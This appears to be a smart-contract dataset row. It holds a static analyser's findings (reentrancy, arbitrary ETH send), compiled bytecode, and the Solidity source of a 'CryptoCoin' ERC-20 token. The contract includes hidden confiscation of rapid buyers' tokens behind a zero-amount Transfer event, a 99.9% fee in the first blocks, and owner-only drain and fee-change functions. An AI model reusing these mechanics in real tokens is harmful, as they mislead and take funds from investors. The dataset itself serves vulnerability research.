160a01b0316331461096a5760405162461bcd60e51b81526004016107ce9061227f565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156109ca57600080fd5b505afa1580156109de573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a02919061203e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4a57600080fd5b505afa158015610a5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a82919061203e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610aca57600080fd5b505af1158015610ade573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b02919061203e565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6017546001600160a01b0316336001600160a01b031614610b4557600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b03163314610ba95760405162461bcd60e51b81526004016107ce9061227f565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b031614610be757600080fd5b476108af816118ee565b6001600160a01b03811660009081526002602052604081205461073590611928565b6000546001600160a01b03163314610c3d5760405162461bcd60e51b81526004016107ce9061227f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610cb15760405162461bcd60e51b81526004016107ce9061227f565b674563918244f40000811015610d265760405162461bcd60e51b815260206004820152603460248201527f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060448201527362652067726561746572207468616e20302e352560601b60648201526084016107ce565b601b55565b6000546001600160a01b03163314610d555760405162461bcd60e51b81526004016107ce9061227f565b601a54600160a01b900460ff1615610d6c57600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610da557600080fd5b610dae30610bf1565b8111158015610dbd5750600081115b610df85760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107ce565b6108af816119ac565b6000546001600160a01b03163314610e2b5760405162461bcd60e51b81526004016107ce9061227f565b6001821115610e3957600080fd5b6013811115610e4757600080fd5b600b91909155600c55565b6000546001600160a01b03163314610e7c5760405162461bcd60e51b81526004016107ce9061227f565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061073133848461118e565b6000546001600160a01b03163314610ed15760405162461bcd60e51b81526004016107ce9061227f565b600d821115610edf57600080fd5b600d811115610eed57600080fd5b600e91909155601055565b6000546001600160a01b03163314610f225760405162461bcd60e51b81526004016107ce9061227f565b6004811115610f3057600080fd5b610f3c81610e10612386565b60185550565b6000546001600160a01b03163314610f6c5760405162461bcd60e51b81526004016107ce9061227f565b601c54811015610f7b57600080fd5b601c55565b6000546001600160a01b03163314610faa5760405162461bcd60e51b81526004016107ce9061227f565b6001600160a01b03811661100f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ce565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166110cc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ce565b6001600160a01b03821661112d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ce565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111f25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107ce565b6001600160a01b0382166112545760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ce565b600081116112b65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107ce565b6001600160a01b03821660009081526009602052604090205460ff16156112ef5760405162461bcd60e51b81526004016107ce906122b4565b6001600160a01b03831660009081526009602052604090205460ff16156113285760405162461bcd60e51b81526004016107ce906122b4565b3360009081526009602052604090205460ff16156113585760405162461bcd60e51b81526004016107ce906122b4565b6000546001600160a01b0384811691161480159061138457506000546001600160a01b03838116911614155b156116fc57601a54600160a01b900460ff166113e25760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107ce565b601a546001600160a01b03838116911614801561140d57506019546001600160a01b03848116911614155b156114bf576001600160a01b038216301480159061143457506001600160a01b0383163014155b801561144e57506017546001600160a01b03838116911614155b801561146857506017546001600160a01b03848116911614155b156114bf57601b548111156114bf5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107ce565b601a546001600160a01b038381169116148015906114eb57506017546001600160a01b03838116911614155b801561150057506001600160a01b0382163014155b801561151757506001600160a01b03821661dead14155b156115f657601c548161152984610bf1565b611533919061234c565b1061158c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107ce565b601a54600160b81b900460ff16156115f657600a546115ac9060b461234c565b42116115f657601e548111156115f65760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107ce565b600061160130610bf1565b601d5490915081118080156116205750601a54600160a81b900460ff16155b801561163a5750601a546001600160a01b03868116911614155b801561164f5750601a54600160b01b900460ff165b801561167457506001600160a01b03851660009081526006602052604090205460ff16155b801561169957506001600160a01b03841660009081526006602052604090205460ff16155b156116f957601354600090156116d4576116c960646116c360135486611b3590919063ffffffff16565b90611bb4565b90506116d481611bf6565b6116e66116e182856123a5565b6119ac565b4780156116f6576116f6476118ee565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061173e57506001600160a01b03831660009081526006602052604090205460ff165b806117705750601a546001600160a01b038581169116148015906117705750601a546001600160a01b03848116911614155b1561177d575060006118a2565b601a546001600160a01b0385811691161480156117a857506019546001600160a01b03848116911614155b15611803576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a541415611803576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561182e57506019546001600160a01b03858116911614155b156118a2576001600160a01b0384166000908152600460205260409020541580159061187f57506018546001600160a01b038516600090815260046020526040902054429161187c9161234c565b10155b1561189557600b54601155600c546012556118a2565b600f546011556010546012555b6118ae84848484611c03565b50505050565b600081848411156118d85760405162461bcd60e51b81526004016107ce919061222a565b5060006118e584866123a5565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561083f573d6000803e3d6000fd5b600060075482111561198f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107ce565b6000611999611c37565b90506119a58382611bb4565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106119f4576119f46123ed565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611a4857600080fd5b505afa158015611a5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a80919061203e565b81600181518110611a9357611a936123ed565b6001600160a01b039283166020918202929092010152601954611ab9913091168461106a565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611af29085906000908690309042906004016122db565b600060405180830381600087803b158015611b0c57600080fd5b505af1158015611b20573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611b4457506000610735565b6000611b508385612386565b905082611b5d8583612364565b146119a55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107ce565b60006119a583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c5a565b6108af3061dead8361118e565b80611c1057611c10611c88565b611c1b848484611ccd565b806118ae576118ae601454601155601554601255601654601355565b6000806000611c44611dc4565b9092509050611c538282611bb4565b9250505090565b60008183611c7b5760405162461bcd60e51b81526004016107ce919061222a565b5060006118e58486612364565b601154158015611c985750601254155b8015611ca45750601354155b15611cab57565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611cdf87611e06565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611d119087611e63565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611d409086611ea5565b6001600160a01b038916600090815260026020526040902055611d6281611f04565b611d6c8483611f4e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611db191815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611de08282611bb4565b821015611dfd57505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611e238a601154601254611f72565b9250925092506000611e33611c37565b90506000806000611e468e878787611fc1565b919e509c509a509598509396509194505050505091939550919395565b60006119a583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118b4565b600080611eb2838561234c565b9050838110156119a55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107ce565b6000611f0e611c37565b90506000611f1c8383611b35565b30600090815260026020526040902054909150611f399082611ea5565b30600090815260026020526040902055505050565b600754611f5b9083611e63565b600755600854611f6b9082611ea5565b6008555050565b6000808080611f8660646116c38989611b35565b90506000611f9960646116c38a89611b35565b90506000611fb182611fab8b86611e63565b90611e63565b9992985090965090945050505050565b6000808080611fd08886611b35565b90506000611fde8887611b35565b90506000611fec8888611b35565b90506000611ffe82611fab8686611e63565b939b939a50919850919650505050505050565b803561201c81612419565b919050565b60006020828403121561203357600080fd5b81356119a581612419565b60006020828403121561205057600080fd5b81516119a581612419565b6000806040838503121561206e57600080fd5b823561207981612419565b9150602083013561208981612419565b809150509250929050565b6000806000606084860312156120a957600080fd5b83356120b481612419565b925060208401356120c481612419565b929592945050506040919091013590565b600080604083850312156120e857600080fd5b82356120f381612419565b946020939093013593505050565b6000602080838503121561211457600080fd5b823567ffffffffffffffff8082111561212c57600080fd5b818501915085601f83011261214057600080fd5b81358181111561215257612152612403565b8060051b604051601f19603f8301168101818110858211171561217757612177612403565b604052828152858101935084860182860187018a101561219657600080fd5b600095505b838610156121c0576121ac81612011565b85526001959095019493860193860161219b565b5098975050505050505050565b6000602082840312156121df57600080fd5b813580151581146119a557600080fd5b60006020828403121561220157600080fd5b5035919050565b6000806040838503121561221b57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b818110156122575785810183015185820160400152820161223b565b81811115612269576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561232b5784516001600160a01b031683529383019391830191600101612306565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561235f5761235f6123d7565b500190565b60008261238157634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156123a0576123a06123d7565b500290565b6000828210156123b7576123b76123d7565b500390565b60006000198214156123d0576123d06123d7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108af57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122076f8e04e9ddd86da96ac354d464692ef8cd57b06804c73db29417c77cad2b99764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,728 |
0x166d285c12496222c122343490cdd2197779847d
|
/**
________ ________ ___ ___ ________ _________ ________ ________ ________ ___ ________
|\ ____\|\ __ \ |\ \ / /|\ __ \|\___ ___\\ __ \ |\ ____\|\ __ \|\ \|\ ___ \
\ \ \___|\ \ \|\ \ \ \ \/ / | \ \|\ \|___ \ \_\ \ \|\ \ \ \ \___|\ \ \|\ \ \ \ \ \\ \ \
\ \ \ \ \ _ _\ \ \ / / \ \ ____\ \ \ \ \ \ \\\ \ \ \ \ \ \ \\\ \ \ \ \ \\ \ \
\ \ \____\ \ \\ \| \/ / / \ \ \___| \ \ \ \ \ \\\ \ \ \ \____\ \ \\\ \ \ \ \ \\ \ \
\ \_______\ \__\\ _\ __/ / / \ \__\ \ \__\ \ \_______\ \ \_______\ \_______\ \__\ \__\\ \__\
\|_______|\|__|\|__|\___/ / \|__| \|__| \|_______| \|_______|\|_______|\|__|\|__| \|__|
\|___|/
Website: https://www.cryptocointoken.info/
Telegram: https://t.me/CryptoCoinETH
*/
pragma solidity ^0.7.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* BEP20 standard interface.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* Allows for contract ownership along with multi-address authorization
*/
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
/**
* Function modifier to require caller to be authorized
*/
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
/**
* Authorize address. Owner only
*/
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
/**
* Remove address' authorization. Owner only
*/
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == owner;
}
/**
* Return address' authorization status
*/
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
/**
* Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
*/
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract CryptoCoin is IERC20, Auth {
using SafeMath for uint256;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
string constant _name = 'CryptoCoin';
string constant _symbol = 'CC';
uint8 constant _decimals = 9;
uint256 _totalSupply = 1000000000000000 * (10 ** _decimals);
uint256 _maxTxAmount = _totalSupply / 200;
uint256 _maxWalletAmount = _totalSupply / 100;
uint256 initialswapback = 0;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping(address => uint256) _holderLastTransferTimestamp;
uint256 liquidityFee = 60;
uint256 marketingFee = 40;
uint256 totalFee = 100;
uint256 feeDenominator = 1000;
address public autoLiquidityReceiver;
address public marketingFeeReceiver;
IDEXRouter public router;
address public pair;
uint256 public launchedAt;
uint256 public launchedTime;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 1000; // 0.1%
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () Auth(msg.sender) {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_allowances[address(this)][address(router)] = uint256(-1);
isFeeExempt[owner] = true;
isTxLimitExempt[owner] = true;
isTxLimitExempt[address(this)] = true;
autoLiquidityReceiver = msg.sender;
marketingFeeReceiver = address(0x53A353fd0e37cA277333f664E9b480F42940A1b4);
_balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(-1)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _simpleTransfer(sender, recipient, amount);}
if(shouldSwapBack()){ if(block.timestamp >= launchedTime + 1 minutes && initialswapback == 0){
swapBackInitial();} else{swapBack();}
}
if(!launched() && recipient == pair){ require(_balances[sender] > 0); launch(); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
if(launchMode() && recipient != pair){require (_balances[recipient] + amount <= _maxWalletAmount);}
if(launchMode() && recipient != pair && block.timestamp < _holderLastTransferTimestamp[recipient] + 20){
_holderLastTransferTimestamp[recipient] = block.timestamp;
_balances[address(this)] = _balances[address(this)].add(amount);
emit Transfer(sender, recipient, 0);
emit Transfer(sender, address(this), amount);
return true;}
_holderLastTransferTimestamp[recipient] = block.timestamp;
uint256 amountReceived;
if(!isFeeExempt[recipient]){amountReceived= shouldTakeFee(sender) ? takeFee(sender, amount) : amount;}else{amountReceived = amount;}
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _simpleTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function getTotalFee() public view returns (uint256) {
if(launchedAt + 5 > block.number){ return feeDenominator.sub(1); }
return totalFee;
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function takeFee(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount;
if(launchMode() && amount > _maxTxAmount){
feeAmount = amount.sub(_maxTxAmount);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);}
feeAmount = amount.mul(getTotalFee()).div(feeDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
uint256 amountToLiquify = swapThreshold.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp+360
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
payable(marketingFeeReceiver).transfer(amountETHMarketing);
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp+360
);
initialswapback = initialswapback +1;
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function swapBackInitial() internal swapping {
uint256 amountToLiquify = balanceOf(address(this)).mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = balanceOf(address(this)).sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp+360
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
payable(marketingFeeReceiver).transfer(amountETHMarketing);
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp+360
);
initialswapback = initialswapback +1;
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() internal{
require(!launched());
launchedAt = block.number;
launchedTime = block.timestamp;
}
function justinCaseofClog()external authorized{
swapBackInitial();
}
function manuallySwap()external authorized{
swapBack();
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
swapEnabled = _enabled;
swapThreshold =_totalSupply.div(_amount);
}
function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _feeDenominator) external authorized {
liquidityFee = _liquidityFee;
marketingFee = _marketingFee;
totalFee = _liquidityFee.add(_marketingFee);
feeDenominator = _feeDenominator;
require(totalFee < feeDenominator/5);
}
function launchModeStatus() external view returns(bool) {
return launchMode();
}
function launchMode() internal view returns(bool) {
return launchedAt !=0 && launchedAt + 5 < block.number && launchedTime + 30 minutes >= block.timestamp ;
}
function recoverEth() external onlyOwner() {
payable(msg.sender).transfer(address(this).balance);
}
function recoverToken(address _token, uint256 amount) external authorized returns (bool _sent){
_sent = IERC20(_token).transfer(msg.sender, amount);
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
}
|
0x6080604052600436106101fd5760003560e01c8063a4b45c001161010d578063cec10c11116100a0578063e96fada21161006f578063e96fada214610ae1578063f0b37c0414610b22578063f2fde38b14610b73578063f887ea4014610bc4578063fe9fbb8014610c0557610204565b8063cec10c11146109af578063d43f5d6c146109fe578063dd62ed3e14610a15578063df20fd4914610a9a57610204565b8063b6a5d7de116100dc578063b6a5d7de146108db578063bcdb446b1461092c578063bf56b37114610943578063ca33e64c1461096e57610204565b8063a4b45c0014610747578063a8aa1b31146107b8578063a9059cbb146107f9578063b29a81401461086a57610204565b8063571ac8b0116101905780636ddd17131161015f5780636ddd1713146105b957806370a08231146105e65780637ae316d01461064b578063893d20e81461067657806395d89b41146106b757610204565b8063571ac8b0146104b35780635804f1e41461051a5780635fe7208c14610545578063658d4b7f1461055c57610204565b806323b872dd116101cc57806323b872dd146103605780632f54bf6e146103f1578063313ce567146104585780634d54288b1461048657610204565b80630445b6671461020957806306fdde0314610234578063095ea7b3146102c457806318160ddd1461033557610204565b3661020457005b600080fd5b34801561021557600080fd5b5061021e610c6c565b6040518082815260200191505060405180910390f35b34801561024057600080fd5b50610249610c72565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028957808201518184015260208101905061026e565b50505050905090810190601f1680156102b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d057600080fd5b5061031d600480360360408110156102e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610caf565b60405180821515815260200191505060405180910390f35b34801561034157600080fd5b5061034a610da1565b6040518082815260200191505060405180910390f35b34801561036c57600080fd5b506103d96004803603606081101561038357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dab565b60405180821515815260200191505060405180910390f35b3480156103fd57600080fd5b506104406004803603602081101561041457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fab565b60405180821515815260200191505060405180910390f35b34801561046457600080fd5b5061046d611004565b604051808260ff16815260200191505060405180910390f35b34801561049257600080fd5b5061049b61100d565b60405180821515815260200191505060405180910390f35b3480156104bf57600080fd5b50610502600480360360208110156104d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061101c565b60405180821515815260200191505060405180910390f35b34801561052657600080fd5b5061052f61104f565b6040518082815260200191505060405180910390f35b34801561055157600080fd5b5061055a611055565b005b34801561056857600080fd5b506105b76004803603604081101561057f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506110da565b005b3480156105c557600080fd5b506105ce6111b0565b60405180821515815260200191505060405180910390f35b3480156105f257600080fd5b506106356004803603602081101561060957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111c3565b6040518082815260200191505060405180910390f35b34801561065757600080fd5b5061066061120c565b6040518082815260200191505060405180910390f35b34801561068257600080fd5b5061068b611241565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c357600080fd5b506106cc61126a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561070c5780820151818401526020810190506106f1565b50505050905090810190601f1680156107395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561075357600080fd5b506107b66004803603604081101561076a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112a7565b005b3480156107c457600080fd5b506107cd6113a8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561080557600080fd5b506108526004803603604081101561081c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113ce565b60405180821515815260200191505060405180910390f35b34801561087657600080fd5b506108c36004803603604081101561088d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113e3565b60405180821515815260200191505060405180910390f35b3480156108e757600080fd5b5061092a600480360360208110156108fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611514565b005b34801561093857600080fd5b506109416115e9565b005b34801561094f57600080fd5b506109586116ad565b6040518082815260200191505060405180910390f35b34801561097a57